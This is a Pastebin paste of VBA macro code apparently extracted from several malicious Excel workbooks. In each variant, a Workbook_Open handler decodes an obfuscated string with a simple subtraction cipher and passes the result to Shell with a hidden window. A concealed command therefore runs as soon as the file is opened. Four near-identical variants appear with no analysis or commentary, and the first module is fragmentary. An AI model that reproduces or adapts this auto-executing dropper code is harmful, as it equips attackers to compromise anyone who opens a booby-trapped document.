Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- REM ===== Main Module (all versions) =================================================================================================
- Attribute VB_Name = "Ёта нига"
- Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
- Attribute VB_GlobalNameSpace = False
- Attribute VB_Creatable = False
- Attribute VB_PredeclaredId = True
- Attribute VB_Exposed = True
- Attribute VB_TemplateDerived = False
- Attribute VB_Customizable = True
- Sub Workbook_Open()
- tyrtyaag
- End Sub
- y(i Mod UBound(bKey))
- End If
- Next i
- lqjWjFO = StrConv(bData, vbUnicode)
- End Function
- REM ===== Module 2 (all versions) ===================================================================================================
- Attribute VB_Name = "Module2"
- Public Function lqjWjFO(ByVal strData As String, ByVal strKey As String)
- Dim bData() As Byte
- Dim bKey() As Byte
- bData = StrConv(strData, vbFromUnicode)
- bKey = StrConv(strKey, vbFromUnicode)
- For i = 0 To UBound(bData)
- If i <= UBound(bKey) Then
- bData(i) = bData(i) - bKey(i)
- Else
- bData(i) = bData(i) - bKey(i Mod UBound(bKey))
- End If
- Next i
- lqjWjFO = StrConv(bData, vbUnicode)
- End Function
- REM ===== Module 1 (70C17F4AED600AC8121B8301D84C632C) =============================================================================
- Attribute VB_Name = "Module1"
- Private Const yY1UL = "cWolIdDu"
- Private Const DDuKQ = "ÆÄÓŒx¯dÅÆæÑ»·¬ÈÃÛš®Ü©ƒ½ÑÀ‘“ÅÁÔϽ„—ÜÊãѶ’’ÈËîƇÏÀÔÚ½r§ÆæÚµÓ¥ÇØØ®ŒkËËã܃“sš{r”Œ¢š{›sÖ»ÔۮʩÉʞЯ׷΅ÒÍ«‹pŠ|ñ–´i¿¡¸»²Ó¨É¿ØÛ’¬rƸѓrŸdÈÏßÍ·Èdˆ«´¹™‰ ¾Õ¸ÈªËÀÞµ‘’§Ä¹‘©‘³|˶’³Ò»ÕÔ²Ó«…Ô䮟dÖËÐÞ½„i·œ¼¼nÀެ¦ØÛÊ¬ÌÆ¸´wɼȒ"
- Sub tyrtyaag()
- oPOJidsf = lqjWjFO(DDuKQ, yY1UL)
- Shell oPOJidsf, vbHide
- End Sub
- REM ===== Module 1 (F584A24F2423784935912FEC4C69CAC3) =============================================================================
- Attribute VB_Name = "Module1"
- Private Const yY1UL = "NmaYSkhE"
- Private Const DDuKQ = "±ÚÅy‚¶ˆ•ÜØ¾Å¾Ð³Ù͇¸ãÍn•¯¾Ê˜·°×ƼNj»ÇàÕ¾À™¶³á°¸Í«ºÖÆÇÇ”–’ÜØÇ¿Úɲ³ÊŸ“¶áÕÉš—‡Ÿ†™ †›™‚ÞÌ³ÜÆ¿¸ÑÛ}ÑÇÌÆÖ–±ÎÀ’¢²®©xDz—¼ÊÈ·Ñзܪ¡Îɰ”Š”sÐà¾ÎϽs¼“º±~¯µ±Öн¹Óѽ¶©‡¶ÌÊn’µž »ª·ª¨¼ÚÌ´ÕÊÈœ³–³åÆ”sÞܯßÕyx¿›½†µ´··ÜÅ¿»Ô×—µ¾ËУ"
- Sub tyrtyaag()
- oPOJidsf = lqjWjFO(DDuKQ, yY1UL)
- Shell oPOJidsf, vbHide
- End Sub
- REM ===== Module 1 (20ABED801D3E69237741BE1478807AE9) =============================================================================
- Attribute VB_Name = "Module1"
- Private Const yY1UL = "QvDWeTuu"
- Private Const DDuKQ = "´ã¨w”Ÿ•Å廼קݶⰅÊÌÚqž’¼Üij੺ÙtÈÊ鸼҂öêr®Ê¶¸½ß©ÅÙ}£•å»ÅÑÃÖµ¼ÃÊ|œ¹ê¸ÇŸƒ¤‡¨rŽ›‚©„¤u™ƒèµÛ³¼Ë¹ÛÄ¥¨½ØÇàÙ¥¹Œ€œvʉ¤µyÑ›¿“ÀԸ۹߳ ‚زØk€ tÚÉæ¥ÅÉt𥻑§Š°¿šÅÆÉºÝºåŸ“·Ö³–i«ª¡ÅvÒŽ ´½äµÜ¬ÀÔ½Û¼¼ tèÅ×¶Ë…yɖÔ|Áž¾ ß³»Ë¼ÞÀ¿Œ…ÊÌÚŒ"
- Sub tyrtyaag()
- oPOJidsf = lqjWjFO(DDuKQ, yY1UL)
- Shell oPOJidsf, vbHide
- End Sub
- REM ===== Module 1 (725E148FE02413180043BEB27658F1C9) =============================================================================
- Attribute VB_Name = "Module1"
- Private Const yY1UL = "JsrfRsPb"
- Private Const DDuKQ = "àÖ†¾p²âéËÄÆ¸¯ßÞ”·ëµj›ÀËÉ Ÿ¬Ý×ÉÆ“£ÃææË¿¡ž¯ç ½·Õ“¶Ü×ÔÆœ~ŽâéԾⱮ¹ÛÒ·›w²çæÖŒ¢~© š€¥ƒ|¡¤–ˆ¢Ã®Øá˸ض½¢ÖÌÅæ»xÖÓÈyŸwoÇ·³¢˜¬”¼ÁÏÁ×¶²Üᯚ¡³«Õ™“µÂãÓÔ¶“už¸¿¶wÏš“ÂÛÕ¶Ù¸³â»®€Ö±¬“—º—À oϼ¯¡Ü¿®ÙÚÏÁ¼˜xØê˓þÔäÚr˜¤À‹®½™™Üáʸ۹¹¼º”·ëµ…"
- Sub tyrtyaag()
- oPOJidsf = lqjWjFO(DDuKQ, yY1UL)
- Shell oPOJidsf, vbHide
- End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement